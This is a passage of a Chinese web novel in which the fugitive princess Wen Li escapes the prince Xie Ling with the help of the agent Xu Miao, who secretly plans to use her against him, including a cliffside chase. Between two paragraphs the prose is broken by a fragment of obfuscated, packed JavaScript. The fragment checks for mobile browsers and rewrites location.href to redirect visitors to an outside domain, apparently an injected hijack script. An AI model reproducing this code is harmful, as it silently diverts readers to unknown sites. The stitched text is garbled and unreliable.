闻梨忙摆手道:“不必,你要喜欢,我那里还有几件,都给你穿。” 徐渺:“……”他倒也不是很喜欢穿女子的服饰,束手束脚,不够宽松轻便。 待徐渺离开后,闻梨蹲身探进了河水里,感受着水流带来的凉爽之意,她试着搓搓胳膊,发现搓出了好大的泥垢,自己在心里嫌弃了一把,正要脱衣服,猛地想起自己刚才偷看徐渺洗澡,他表面看着乖模乖样,该不会趁她洗澡看回来吧? 出门在外,多留个心眼才不会让自己吃亏。 这般想着,闻梨扒开草丛一瞧,没瞧见徐渺躲在哪里偷看,这才放心褪去衣裳,潜进水里,痛痛快快地洗澡。 在闻梨看不见的高处,徐渺正倚坐在树枝上,此处视野极佳,恰能看见闻梨的一举一动,他瞧见她方才的举动,唇角微微弯起弧度,她傻得有点可爱了,那样做哪里能防得住他? 就比如现在,他能清晰地看见她用哪只手解的衣带。不过,徐渺就此打住,没往下继续看,扭头眺望远处的山林,安静地替闻梨把风。 闻梨洗完澡回来,见徐渺已经把昨天的兔肉洗干净,架在火上烤着,香味钻进鼻腔,闻梨迫不及待在火边坐下,眼睛一眨不眨地盯着他的手,以及他手里举着的烤兔肉。 真是一双漂亮的手,瘦削匀长,莹白肌肤下,可见淡淡的筋骨走向,是一双极有力量的手。 再看那烤兔肉,外皮色泽金黄,肉质松软,看起来十分有嚼劲。 “吃过早饭,我们就上路吧,你想去哪里?”徐渺忽而开口询问闻梨的意见。 闻梨神情立马变得局促:“我原本是要去白云城,但是半道上迷了路。” “这样啊。”徐渺风轻云淡地说:“白云城离这里可不近。” 闻梨踩上脚边的木柴,在地面搓了搓,“其实我也不是非去白云城不可,你要去哪里?能不能捎带我一程?” 见徐渺诧然抬眼,目光落向自己,闻梨心想他定是误会了,连忙解释道:“我不是要缠着你,到下个城镇我能自己走,我看不懂地图,才会在森林里迷了路。” 徐渺垂下眼眸,脸上神情淡淡,让人看不出他在想什么,过了好一会儿,他才轻声道:“正好,我也要去白云城,那我们午后出发,到了白云城再分别吧。” 两人吃过早饭,就驾车赶路,徐渺伤势未愈,便由闻梨来赶车,他坐在一旁指路。 马车不大,两个人离得很近,山风迎面吹来时,闻梨几乎可以闻到少年身上淡淡的清香,有点像兰草的味道,闻起来有种让人放松的感觉。 她忽然有点庆幸出发前收拾干净了,要不然自己半个多月没洗澡,身上肯定股怪味道。 五日后,二人抵达了白云城,刚到城门口,见城门守卫盘查森严,闻梨心中紧张,便勒停马车,想把面具戴好再进城,回头却见徐渺从马车下来,朝她笑道: “阿梨姑娘,我不便与你一起进城,我们就此作别,多谢姑娘前些日子的救命之恩。” 他终于要离开了吗? 闻梨盯住徐渺须臾 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他轻车熟路穿过街巷,来到一处僻静的宅院外,叩了三下院门,没多久,门开了,里面露出一双小心翼翼打量的眼睛,见门外站着的是徐渺,那人立马开门,迎徐渺进院。 高鹤激动得热泪盈眶,跪在徐渺面前,鼻涕一把眼泪一把:“属下们还以为主子没了。” 此人便是那日在玉京城外带徐渺走的其中一人,当时谢陵的人穷追不舍,为掩护徐渺离开,仅剩的三人各自扮成徐渺,逃往不同的方向,还约定在白云城相见,但一连二十多天过去了,始终不见徐渺人影。 “其他人怎么样了?”徐渺扶高鹤起来。 高鹤:“杨泽伤势较重,还躺着养伤,杜承和冯胜没什么大碍,白天出去打探主子消息了,待属下给他们留个记号,召他们回来。” 徐渺先进屋探望了杨泽的伤势,随后换了身干净衣服,给自己的伤口涂抹了药。 “主子,这衣服和匕首怎么处理?”高鹤进来问。 徐渺愣了一瞬,这才想起,匕首还没来得及还给闻梨,以及自己答应过要还给她一套新衣裙,刚好他们在白云城掩人耳目的营生便是布庄。 他思索片刻,起身出门,去前铺里挑选一套适合闻梨的衣裙,连带那把匕首,命高鹤送去。 白云城的客栈也就那么几家,高鹤很快找到闻梨住的地方,命店小二送上楼,店小二敲门时,闻梨还在梦里遨游,于是店小二只好将包袱放在了门口。 高鹤办完差事回来,收到消息的杜承和冯胜已经赶回院中,正在向徐渺汇报有关谢陵的最新消息。 杜承:“主子不知道,谢狗十天前就来了白云城,起初以为是冲着主子来的,但属下们观察了几日,那谢狗似乎在找一个女子。” 徐渺沉思道:“我知道他在找谁。” 其实那天,徐渺第一眼就认出,闻梨是那天跟谢陵一起逛街的那个人,没想到会在那种情况下被她所救,起初他完全没把闻梨与马车上消失的新娘联系在一起,一切太过凑巧,现在想想,闻梨就是那个逃走的新娘。 而谢陵想必十分在意闻梨,才会追到白云城来。 想通了一切,徐渺坐不住了,既然他查得到闻梨在哪里,想来谢陵的人也查得到,若再迟些,闻梨可能就会被谢陵找到。 高鹤追出去:“主子,您去哪里?” 23. 二十三章 十天前,谢陵就抵达了白云城。 原本雨夜过后的第二天,谢陵收到手下人传来的消息,便要动身赶往白云城,寻找闻梨的下落。 然而却被军师以命相拦。 商晏长跪在马前,诚恳进言:“殿下万不可鲁莽行事,公主丢失,圣上大怒,王家退婚,王谢两家联姻一事就此作罢,如今一半朝臣倒向东宫太子,联名上书讨伐殿下,倘若不解决好这些事,触怒了远在北疆的谢侯爷,即便把公主找回来,殿下又能得几时安宁?” 谢陵僵在马背上,手中的马鞭迟迟未能挥下,叔父的手段他再清楚不过,到那时候,闻梨必死无疑,现在他还不想闻梨那么快死去。 转天,谢陵便依照军师的意思,去了趟王宅,但王家家主称病不见,谢陵吃了个闭门羹。 谢陵执意不走,独自坐在正厅里等了一整天,直至傍晚,王景玄才拖着病体,前来正厅面见谢陵。 刚一进门,王景玄便遣散下人,一边咳嗽,一边坐下道:“让王爷久等了,下官身体抱恙,实在无法起身,先前下官已经派人禀明王爷,您与小女婚事作废,往后男婚女嫁各不相干,这也是小女的意思,还请王爷莫要为难王家。” 谢陵默然,下意识想端起茶杯,杯中无茶,却只得放下,坦诚道:“当众悔婚是晚辈的错,能不能让晚辈见一见王家妹妹,晚辈想跟她当面道歉。” 王景玄缓缓摇头:“小女说过,不愿再见王爷,小女说王爷心中另有他人,勉强成婚并非她愿,王家曾经负过王爷一次,王爷也负了小女一次,算是扯平了,往后互不相欠。” 见联姻已无可转圜,谢陵反倒松了口气,起身道:“晚辈尊重王家妹妹的意愿,虽然婚事不成,烦劳王伯父转告王家妹妹,小时候的情义我都记着,倘或王家妹妹遇到什么麻烦,随时可来王府找我,晚辈告辞。”说着,他便要走。 “王爷请留步!”王景玄急步追去,因吸了口凉风,又开始咳嗽起来,门外的下人忙递水捶背,才渐渐止住咳嗽。 谢陵耐心等着,见王景玄恢复气色,才道:“王伯父还有何教诲?” 王景玄忽地跪下,眼眶湿润道:“当年,我贪生怕死,有负谢秦兄的知遇之恩,在谢家最困难时只顾着保全自己,没有及时找人去救谢家,还将王爷赶出家门。如今,我也遭到报应了,王氏一族空有书香清流之名,内里却互相贼害,早已不服于我这个家主,我被自己人下了毒,命不久矣,唯一放心不下妻女,王爷不计前嫌,今时今日还愿意护着小女,着实令老夫羞愧不已。” 任王景玄如何悔过,谢陵丝毫不为所动,冷眼瞧着,指骨捏得泛白,他心里明白,人都有自保的本能,却也因此更加难过。 王景玄擦擦泪道:“我心中明白,王谢两家再无重修旧好的可能,其实今日我无颜愧见王爷,是小女劝我来此,我心里深知,之所以联姻,是王爷想借王家及其宗族的人脉夺势,我愿意与王爷结势,助王爷在京城站稳脚跟,只求王爷日后得势,不求提携王家后辈,但求能护我妻女一世周全。” 说罢,王景玄猛然咳嗽了一阵,痰中带血,瞧着像是得了咳疾。 谢陵沉声应道:“好。” 他对王景玄的投靠并不意外,来前军师便已经查清,王景玄在王家并不得人心,还被人下了毒,时日无多,而王家内部四分五裂,想要找寻新的靠山,所以对于王景玄而言,与其让家权旁落,不如借着临王的势力,重新夺回家权,给妻女寻个庇佑。 王景玄此人心思深沉,一直在暗中考量谢陵是否值得投靠,是故谢陵以退为进,解决了王景玄的心腹之患,夺得王氏一族的支持。 从王家出来后,谢陵直接进宫了,将闻梨失踪的过程回禀给晋祐帝,满头白发的晋祐帝只关心自己的陵墓能否按时修好,对闻梨的生死只字不提,谢陵再三保证,不会影响进展,晋祐帝才肯罢休。 第二天,王景玄进宫面圣,说不再追究谢陵当众悔婚一事,苦主都发话了,旁人自然也不好再拿此事做文章。 尽管谢陵已经解决了大部分麻烦,但远在北疆的谢宗听说了此事,怒不可遏,派人传来密信,说会在下个月皇帝寿辰日进京,亲自过来看看京都这边的情况。 谢陵离京前夜,商晏来送行,再三叮嘱:“王爷只有半个月的时间,不论能否找到公主,都需尽快赶回来,不然谢侯爷那边,不好交代。” 今天已是谢陵来白云城的第十天,始终一无所获,直到今晚,有探子来报,说有年纪相仿的女子孤身进城。 谢陵不愿放过任何一个机会,得到消息后,便立即带人赶来山悦客栈。 * 夜半时分,闻梨在睡梦中被人唤醒,睁眼见床边立着个黑影,登时吓得她睡意全无,魂快丢了一半,刚要喊出声,便被那人遮住了嘴。 “别怕,是我。”徐渺俯身凑近道。 看清来人后,闻梨冷静下来,不再胡乱扭动,待徐渺松手,她深吸一口气问道:“你是怎么找到这里来的?” “来不及跟你解释。”徐渺听到门外的动静,低声催促道:“你先跟我走,外面来人了。” 闻梨凝神细听,果然听到一阵噔噔噔的上楼声,显然人数还不少,她想都没想,立马起身,拎起枕边的包袱,看着徐渺问道:“我们往哪走?” 徐渺站在了窗边,窗户正大开着,闻梨往窗外瞧了一眼,这里是二楼,以她的身手从这里跳下去,肯定会扭伤脚。 “可是我……” 不等闻梨说完话,徐渺忽然贴身过来,抱住闻梨,从窗边跃上房顶,两人身影消失在无边黑夜中。 * 客栈二楼客房外,店小二敲了半天房门,不见里面回应,哆嗦着身子道:“小、小人方才来送东西,就没见里面的客人回应,想必是睡着了听不见。” 谢陵拧紧眉头,早就没什么耐心了,吩咐风浅破门而入。待房门被风浅用蛮力拆开,只见屋内静悄悄的,一簇冷淡月光透过窗户,照在空荡荡的床铺上。 谢陵伸手探向被褥,里面还有余温,显然人刚走没多久,虽然没见到面,但谢陵心里有种预感,这人一定是闻梨,他想起店小二说过的话,似乎有什么人给闻梨送过东西。 他打开店小二呈上的包袱,里面是一件衣裳,还有一把匕首,瞧那匕首的样式,像是出自玉京的铁匠铺。 此刻,谢陵更加确认,闻梨刚逃走不久。 谢陵眼中闪过一抹厉色,将匕首和衣裳递给风浅,吩咐道:“你先回京都查一查,找出这两样东西的买主。” 他想查清楚,到底是何人一直在暗中帮助闻梨。 * 闻梨没有从这么高的视角观赏夜晚的城楼,她被徐渺抱在怀里,从这座房子的屋脊,踏到另一座房脊上,她望着远处如星点般的灯光,感受着耳畔温柔的风,心里也跟着轻飘飘的,原来用轻功跑路是这样一种肆意的感觉。 “你会害怕高处吗?”徐渺侧过头问她。 闻梨刚要张嘴说不怕,便兜了满嘴的风,呛得直咳嗽,步伐也乱了,不自觉抱紧徐渺的手,好不容易平息了咳嗽,却听到头顶传来一阵轻笑。 闻梨偏过脑袋瞅他,“我不怕高,但是怕你笑得太得意,万一踩空,把我也摔得鼻青脸肿。” 徐渺浅笑道:“好啊,竟然还质疑我,那你抓稳了,带你去个好地方。” 说着,他纵身一跃,往更高处攀去。 转眼间,徐渺带着闻梨飞上一座高高的塔楼,歇在了房屋正脊之上,此处视野极好,皓月当空,清辉洒遍整座白云城中的屋顶,像铺了层淡淡的冷霜。 徐渺放下闻梨:“怎么样,这里很美吧?” 闻梨扶着屋脊坐下,望向夜空中那轮明晃晃的圆月,心中只觉十分惬意,颔首道:“嗯,确实是个好地方。” 她的视线逐渐挪向身边的徐渺,少年今晚穿了一身白,束起高马尾,衣袂飘飘,发尾也跟着风摆动,衬得他身姿挺立, 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闻梨沉吟片刻,道:“应该不是恶霸本人,他刚娶了娇妻,正是两情缱绻之时,哪里有空来抓我,不过很有可能是恶霸手底下的人,总之今晚多谢你啦,要是被抓回去,我这辈子就完了,会被折磨得生不如死。” “你这么怕他啊?”徐渺好奇道。 “他这个人性格反复无常,对你好的时候,天上的星星都给你摘,一旦发起脾气来,就各种耍阴招,把人当狗一样戏弄,他还说等我嫁过去,便要拿锁链绑着我,你说可不可怕?” 徐渺扑哧一笑,“看来他对你挺上心的?” 闻梨脑袋摇得跟拨浪鼓似的:“一点也不,他只是……”只是因为她的母妃害死了他全家,他想报复她而已。 闻梨后知后觉,自己竟然跟徐渺说了这么多,她其实不想提起谢陵这个人,反而很好奇徐渺的事情,“你家就住在白云城吗?在哪个位置?” 徐渺:“别看了,我家不住在白云城。” 闻梨还想继续问徐渺是哪里的人,但见他闭口不提自己的事情,心想也许他俩还没熟到那个份上,便只好歇了心思,尽情欣赏眼前的风景。 两人都没再说话,一时间气氛凝滞。 过了好一会儿,徐渺忽然开口道:“白云城不能再待了,你接下来想去哪里?” 闻梨自己也很迷茫,她从袖口掏出地图,借着月色,低头研究了半天,还是没想好去哪里,图纸上的地名与她而言,不过是一行行小字。 她不动声色,朝徐渺那边挪了挪,靠得更近了些,然后指着地图问他:“你肯定经常走南闯北吧?有没有见过那种山清水秀、民风淳朴的,适合隐居的地方?还得离京城远远的才行。” 徐渺接过她手里的地图,从北到南扫了一圈,沉思了许久。 见他默然不语,闻梨便笑了笑,道:“不必太为难,想不到的话,我就停停走走,遇到合适的再说。”说着,她伸手去拿地图。 徐渺却扬手避开,眸光一转,落在她脸上,“我倒是知道有这样一个地方,很多避世的江湖人都住在那里,官府如同虚设,治安自有正义之士维护。” 闻梨眼前一亮:“真的?在哪呢?” 徐渺紧接着补了一句:“不过地图上没有,寻常百姓很少有人知道。” 闻梨不禁皱眉,有些失望:“这样啊,那……我再考虑看看。” 她顿了顿,面含迟疑看向徐渺,吞吞吐吐道:“你在白云城的事情办完了吗?之后有什么打算?” “我的事不着急,一时半会儿办不完,接下来还没想好做什么。”说罢,徐渺站起身:“时候不早了,我送你下去?” 闻梨盯着徐渺那宽厚匀称的手掌心,心里起了点歹念,她伸手攥住他半边手掌,生怕他跑了一样,他的手凉凉的,握着很舒服。 “那个,你愿意给我当护卫吗?我有钱,养你一辈不成问题!” 24. 第二十四章 徐渺僵住,明显失神了一瞬,那双温澈的眼眸闪动着异样的光芒,一脸不可思议,似乎有带着点犹豫,眉间染上几分纠结之色。 这一瞬过得无比漫长,闻梨感觉到自己心跳加速,一颗心快要扑出胸膛,这算是她头一回对别人提出这种让人面红耳赤的请求,生怕被对方拒绝,想了想,她又觉得太过草率,毕竟连对方的底细都不知道。 闻梨赶紧松手,试图找补:“你要是不方便也没关系,我再找别……” 她的话说到一半,手还没缩回,便又被徐渺紧紧牵住,只见他目光灼灼凝望着她,笑容意味深长:“我不好养,每月少说要五十两银子,不过看在你救我一命的份上,工钱就不要了,管吃管住就成。” “这么说你是答应了?”闻梨欣喜起身。 徐渺笑而不语,再度揽住闻梨的腰,带着她从塔楼顶一跃而下。 周遭景物模糊闪过,快速掉落的下坠感令闻梨心悸得厉害,她紧紧闭上眼,在极度紧张之下,身体的每一寸感触都会被放大,她感受到他掌心的暖意,也能清晰地听到从他那边传来的喃喃低语。 “希望你不会后悔。” 片刻功夫后,二人平稳落地,闻梨这次回过神来,疑心刚才是不是自己出现了幻听,“你刚才说话了?” 徐渺却闭口不谈,松开闻梨,又保持着从前的距离:“走吧,带你去我住的地方。” 徐渺带着闻梨来到布庄后院,找了间空房安置闻梨住下,期间他的属下们都没有露面。 直至徐渺回到自己房间,高鹤等三人再次现身,皆一脸困惑问道:“主子怎么带了个姑娘过来?她会不会给主子招惹麻烦?” 徐渺道:“她就是谢陵要找的人。” 属下们面面相觑,冯胜大胆提议道:“主子,这是天赐良机,可以利用她把谢狗引来,上次我们人少,没有杀掉谢狗,实在可惜!” 高鹤很是赞同:“陈大人也在谢陵手里,听说陈大人还活着,被关在地牢,可以先要挟谢陵,把陈大人换出来,再设下陷阱。” 徐渺一直没说话,目光落在幽微的烛火上,不知在想些什么。 杜承是个急性子,抓耳挠腮道:“主子,您还在犹豫什么?让属下先把那姑娘绑了,以免她逃了。” “慢着!”徐渺终于出声制止,神色依旧冷静,语气却严肃了许多:“谢陵在四处找她,她暂时不会走,你们可曾想过我们屡次设伏失败的原因?玉京城是晋朝的京都,我们处处受阻,倘若不能一击杀掉谢陵,反会被他围杀。白云城也一样,况且我们没剩几个人,得从北齐调集人手,此事还需要从长计议,没我的吩咐,不许任何人对那姑娘做什么。” 徐渺对待下属们一向温和,今夜这副郑重其事的认真模样十分罕见,高鹤几人知他心中自有打算,便只好忍下想要为同伴复仇的急切心思,听从主子的吩咐。 * 后半夜,闻梨睡得并不安稳,又梦到谢陵追来了,梦里的她还睡在客栈,谢陵拎着剑就站在门外,砰砰砰的一直敲门,窗边也有个谢陵,甚至房梁上也有他的身影,闻梨都不知道该往哪里躲,正要爬进床底,门却自己开了。 闻梨吓了一跳,醒来时果然听见有人敲门,心像是被什么揪紧了一瞬,直至听到门外人说话,她才想起自己昨夜住在徐渺这里。 闻梨麻利穿好衣裳开门,见徐渺手中端着清粥小菜,她赶忙接过,放在了桌上。 “昨晚睡得怎么样?”徐渺仍站在门边,笑着问道。 “还好。”闻梨一边洗漱,一边邀他进屋说话,“我们什么时候出发?” 徐渺瞥了眼闻梨已经收拾好的包袱,道:“这几日恐怕都走不了,白云城被封了,暂时出不去。” 闻梨擦脸的手微微一顿:“因何封城?” 徐渺决定如实告诉闻梨真相:“是你说的那个恶霸所为,他的人正在挨家挨户搜查,到处缉拿你。” 闻梨扭头便要去包袱梨翻找面具,徐渺摇头道:“没用的,他已经知道你会易容,每个被搜查的人,都要洗脸。” 闻梨这下是真的慌了,坐立不安。 徐渺安慰道:“别怕,他虽然封了城,但碍于民怨,维持不了多久的,院里有间密室,你怕黑吗?如若不嫌委屈,可以进去避一避风头。” 闻梨沉默了片刻,忽而问道:“密室里有老鼠吗?” 徐渺怔住:“你想要老鼠给你作伴?” “不不、不想要,我小时候经常被继母关小黑屋,受够了被老鼠啃脚趾头的感觉。” 徐渺神色凝重道:“有我在,老鼠不敢咬你。” 闻梨心头一喜:“……”什么?他要陪我进小黑屋? 来到徐渺所说的密室,闻梨才知是自己会错意了,这里根本不是那种惩罚别人的小黑屋,而是好几间议事的暗厅,有暗窗,有通风口,里面打扫得干干净净,别说老鼠,连只小虫子都瞧不见,而且内外皆有机关,也不会出现被困在里面出不来的局面。 闻梨心中有点内疚,起初她还担心万一被关在密室一辈子出不去怎么办,现在看来,完全是她想多了,徐渺那么尽心尽力地帮她,她居然犹犹豫豫,暗自在心底设防。 接下来的几日,闻梨除了解决一些个人问题,基本都在密室里待着,白天徐渺有空时,会进来陪她,到了夜里睡觉的点,又主动离开,完全不是闻梨所想的那种寸步不离的陪伴。 而且密室里一直点着灯,到处都亮堂堂的,她自己待着一点也不害怕,一晃四五天过去了,这日早晨,徐渺进来说,白云城已经解封,百姓可以自由出入城门。 “那个恶霸还在吗?”闻梨比较关心谢陵的动向。 徐渺笑道:“应该是回京了,我亲眼看到他带着人马撤出白云城,已经走了整整一天,明天一早,我们也上路吧。” 夜里,闻梨终于做了好梦,翌日一早,闻梨伸着懒腰出门,见徐渺忙着准备路上要用的各种东西,心中暗自赞叹,他这护卫当得还真是不赖啊! 一扭头,闻梨还看到了自己的马儿,作为曾经一起历经风雨的好伙伴,闻梨很是舍不得这匹马,上次从客栈逃走,她的心里还一直惦念着它。 闻梨心血来潮,抱起一大堆草料,喂给马儿,口中还念叨:“吃吧吃吧,要多吃点,日后长成千里马。” 徐渺忙进忙出,抽空瞧了一眼闻梨,打趣笑道:“它已经成年了,吃多了反而不消化,跟某人一样会闹肚子的。” 闻梨讪讪放下草料,趁着徐渺进屋,又捧了一把草捏在手中,喂给马儿吃。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266908|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吃过早饭后,二人便准备出发了,徐渺说要跟借宿的主人家道声谢,闻梨先自己钻进马车,安静等待。 交代完下属的徐渺出来后,脸上又挂着那副漫不经心的笑容,让闻梨稳坐,他要赶车了。 闻梨难得一阵清闲,毫不客气地拆开桌上的糕点吃,毕竟现在有个武功高、厨艺好的护卫跟在身边,不会再挨饿了。 马车驶出城门,在铺满晨曦的路面上渐行渐远。 与此同时,后边的城楼登上一道修长挺拔的身姿,谢陵眸光幽遂,神色冷似凛冬的寒霜,一言不发注视着渐渐缩小的马车。 一旁风浅快步走来,“王爷,马匹已经备好,随时可以出发。” 谢陵扭头下楼,骑上马背,带着几个暗卫,纵马疾驰追了过去。 白云城外的山路平坦,马车行进速度不算慢,晨风吹来十分凉爽,闻梨卷起一边竹帘,探出脑袋想要透透气。 视线一转,她忽然瞥见有队骑兵正悄无声息地靠近,定睛细看,吓得她手脚发抖,脑海霎时一片空白,马背上的人正是夜夜在梦里纠缠自己的谢陵。 更令人头皮发麻的是,谢陵手中举着弓箭,似乎在瞄向外边赶车的徐渺。 谢陵目光移来,忽地与闻梨对视上了,他微微挑眉,唇畔勾起一抹势在必行的怒笑。 闻梨大惊失色,忙放下竹帘,谢陵箭法的准头,她是见识过的,即使黑夜,百步之外也能射中。 “徐护卫!恶霸追来了,他正拿箭对着你,换我来赶车,你小心点,别被他射中了。” 闻梨大声提醒,一边想要出来接过徐渺手中的缰绳。 徐渺没给,又将闻梨推进车内,“坐稳了,我带你逃出去。” 闻梨只能干瞪着眼,发现徐渺的反应比她想象中更加冷静,便也不再慌手慌脚,攥紧车厢,保持身体的平衡。 徐渺一早就注意到后边的追兵,奇怪的是,明明谢陵的马匹跑得更快,却一直暗中跟在后边,保持着不远不近的距离,许是谢陵怕他情急之下拿闻梨当人质吧? 原来如此,那个在战场上杀人如麻的冷血魔头,也会有弱点。 徐渺攥紧缰绳,挥甩着马鞭,马儿似乎也察觉到危险,奋力地朝上山的道路奔去。 然而路面崎岖不平,马车颠簸得很厉害,闻梨不时回头看一眼谢陵,竟然始终没能把他甩掉,看来他定是对她恨之入骨,才会锲而不舍追那么久,要是落在他手里,自己怎么死都不知道。 马车在山中驰行了一段路程,闻梨被颠得头晕目眩,忽听得马儿嘶鸣一声,马车竟骤停下来,闻梨猛地朝前倒去,一头栽进正掀帘进来的徐渺怀中。 还没等闻梨弄清楚状况,一阵翻天覆地的旋转过后,她便被徐渺抱离了马车,耳边风速很快,跟那天从塔楼跳下的坠落感如出一辙,但很快便落地了。 闻梨茫然睁眼,惊恐地发现自己竟然身处悬崖的峭壁上,悬崖下深不见底,她的马儿被马车的套绳勒紧脖子,胡乱蹬腿,正在急速坠落。 等等,她注意到马车顶好像有个人也在坠落,瞧那身形像是谢陵,他居然也跟着跳下来了?那么高的悬崖,他不会摔死吧? 不过眨眼功夫,马儿、马车以及谢陵消失不见,通通没入半山的浓雾之中。 25. 第二十五章 闻梨心中说不出是什么滋味,倘若谢陵真摔死了,她应该高兴才对,往后再也不怕噩梦成真,可她怎么也想不到,谢陵身手那样好的人,怎会也摔进悬崖?都说祸害遗千年,他应该没那么容易死掉吧? 还有她的马儿,曾经风雨同舟的好伙伴,今早才吃得饱饱的,又不会轻功,掉下去必死无疑。 “你没事吧?被吓到了?”徐渺低头询问怀中人。 闻梨抬头,眼眸湿漉漉的,像是蒙上一层雾气,对上徐渺关切的目光,摇了摇头:“没什么。” 徐渺从未见过情绪如此消沉的闻梨,便默不作声抱着她往上爬。 徐渺一开始就知道,谢陵诡计多端,不会轻易放弃,故而他佯装不察,提前布置好逃跑路线,备好绳索,是以刚才他早看见前方的悬崖,却不勒马,直到最后一刻,才抱着闻梨跳出马车。 他在赌谢陵会不会误以为闻梨在内,也跟着跳下悬崖,任凭谢陵功夫再好,掉进百丈深渊恐也难以逃脱,就算谢陵侥幸逃生,他现在非常确信,闻梨就是那把刺向谢陵最好的利刃。 山顶有谢陵的人守着,徐渺带着闻梨从另一条小径下山,赶回白云城,从马贩子手里,又买了马匹和马车,添置了些生活物资,从另一条路出发,前往桃源村。 这一路上,闻梨都在马车中待着,徐渺并没进去打扰她,只坐在外边赶车,睡觉时也是歇在车顶,或者树上。 直至第二天傍晚,闻梨逐渐打起精神,不再想过去的事情和人,林中暑气渐消,她从马车里钻出来透气,抬头看向靠在树上小憩的徐渺,“干粮快吃腻了,徐护卫能不能教我怎么捕猎?” 徐渺惺忪睁眼,眸底含着浅笑:“好啊,要不要尝尝我最拿手的烤山猪?” 就在闻梨学着怎么抓野猪时,另一边,风浅终于找到了落下悬崖的谢陵,崖底有个水潭,谢陵没死,只是摔晕了过去,马儿也没死,阴差阳错驮着谢陵爬上了岸。 马儿漫无目的地四处闲逛,导致当天追下来的风浅没能第一时间找到自家主子,隔天在一处遮风的洞口发现了谢陵,山里夜晚寒冷,幸而夜里有马儿陪伴在侧,才不教重伤昏迷的谢陵失温死去。 风浅背起谢陵,一手牵着马,朝山外走去。 经过白云城大夫的诊治,谢陵回去的当晚便醒来了,在得知马车内没有闻梨时,他不免松口气,幽幽盯着帐顶愣神。 现在回想起来,谢陵也不记得自己是怎么摔下去的,当时脑海中只有一个念头,闻梨还在车上,得赶快去救她,不等他钻进马车,便被崖间的藤蔓和树枝刮晕,连什么时候落进水中都不记得了。 谢陵不禁陷入沉思,闻梨明明是他仇人的女儿,还三番五次糊弄他,利用他,如今又是一点情义都不讲,不但跟着别的男人跑了,还想要置他于死地,可为什么那个时候,他会毫不犹豫跳下去救她? 连谢陵自己都觉得陌生,除了愤怒与不甘心,他隐约感觉到,还有另一种深藏在心的情绪在慢慢显露,是强烈的占有欲。 他十分讨厌出现在她身边的每一个男子,起初他只想把她囚在身边,供他一人玩弄,可现在他变得贪婪了,想要她的身和心,完完全全只属于他一人。 一想到此,谢陵猛地吐了口血,郁结已久的烦闷却像云雾一样散开,不论天涯海角,他都会追过去,不过眼下,他还有另外一件棘手的事情要办。 风浅忙替谢陵擦拭床边的血迹,“王爷,京城来消息了,说谢侯爷已经秘密入京,召您速速回京。” 谢陵躺下,隔了很久才道:“我知道了,备好马车,明一早动身回京。” “王爷,那匹马怎么处置?”风浅又问。 “暂且养着吧。” * 两个月后。 月华城,是北边贸易繁盛的一座城镇,这里临近北齐,西靠楼兰,聚集着四面往来的客商,还是自古兵家必争之地,此外,江湖人也喜欢在此停留,刀光剑影,寻一番武林天地。 在进城的路上,闻梨就已经听说了好些江湖上的趣事,比如城里有个月华山庄,是拥有百年历史的武林世家,在江湖上颇有地位,而且此山庄只招收女弟子,历代庄主也都是女子。 闻梨心生羡慕,没想到在京城外,女子的世界如此广阔,很可惜月华山庄只招小孩子,要不然她也想去拜师学艺。 徐渺却笑道:“你要真想学,我可以教你一点基础的,遇到普通小贼逃跑绝对没问题。” 闻梨顿时来了兴致:“那我多久能出师?” “若肯勤学苦练,十年足够了。” 闻梨哭丧着脸:“十年啊,这也太久了?你练了多少年呢?” 徐渺:“我从三岁就开始习武,七岁自己闯荡江湖,仔细算算,习武已有十五年了。” 可见大侠不是人人都能当的,闻梨只好歇了心思,继续趴在窗边欣赏外边的风景。 日落时分,马车进了月华城,二人找了间客栈住下,吃过晚饭,便各自回房休息,约好了明天在城里逛一逛。 这两个月以来,二人风餐露宿,几乎没再哪里停留超过两天,远离玉京的势力范围后,江湖气息逐渐浓厚,大街小巷张贴的都是武林中的新鲜事,闻梨的悬赏令也被压在最底下,无人问津。 第二天,闻梨睡到日上三竿才起床,洗漱过后,她敲响隔壁的房门,想叫徐渺一起下楼吃饭,但敲了半天不见回应,她逮住店小二询问一番,才知徐渺一大早就出去了。 闻梨只好自己下楼,点了些清淡的饭菜吃,她有些闷闷不乐,说好要一起逛,徐渺居然自己偷偷出去,也不知道去干嘛了。 她正没滋没味地吃着,徐渺从门口进来,一眼扫见大堂内独自吃饭的闻梨,便过去坐下,神采焕然朝她打招呼:“早上好,昨晚睡得怎么样?” 闻梨搁下碗筷,神情淡淡:“还好吧,你呢,早上出去也不打声招呼,我还以为你……”还以为他走了。 “以为我怎么了?”徐渺狡黠地眨下眼,眼神中还带着一丝无辜,抿唇轻笑道:“我见你这几天胃口不好,特地出去给你买了莲子酥,清凉解腻,想不想尝尝?” 说罢,他便拎起手中的糕点,像逗小猫似的在闻梨面前晃了晃。 闻梨眼前一亮,伸手接过,打开来吃,糖酥入口即化,果然甜而不腻,非常开胃,先前的不愉快瞬间烟消云散。 吃好饭后,二人便一起在月华城中闲逛,闻梨专挑没见过的新鲜玩意买,玩腻了之后又扔给徐渺,徐渺一路耐心跟着,瞧见路上必备的物资药物,还会跟摊主讲价,很有当贤夫的风范。 二人来到城中一处热闹的擂台前,听周围人说是月华山庄的大小姐在比武招亲,闻梨只听说过抛绣球招亲,如今头一遭听说还有比武招亲,兴致盎然挤到人堆前,寻了好位置观看。 徐渺也跟着她挤进来。 “给我给我!”闻梨朝徐渺伸手,徐渺无奈从肩上的布兜里掏出来刚买了炒瓜子,冬瓜糖,怕她吃这些口渴,还贴心地备了壶水。 闻梨很是满意,在一众姑娘少妇的艳羡之下,心无旁骛等着擂台上的人开打。 没等多久,擂台后的游廊上缓缓走出一个清爽利落的身影,来人是个十七八岁的青衣姑娘,乌发用根金绫高高束起,鬓边的碎发与绫带随风缠绕,姑娘生了副极清丽的容貌,眉似远山,眸如点漆,目光在扫过擂台上参赛的人群时,眼中流露出一丝嫌弃与傲然,下巴高扬,丝毫不将众人放在眼里。 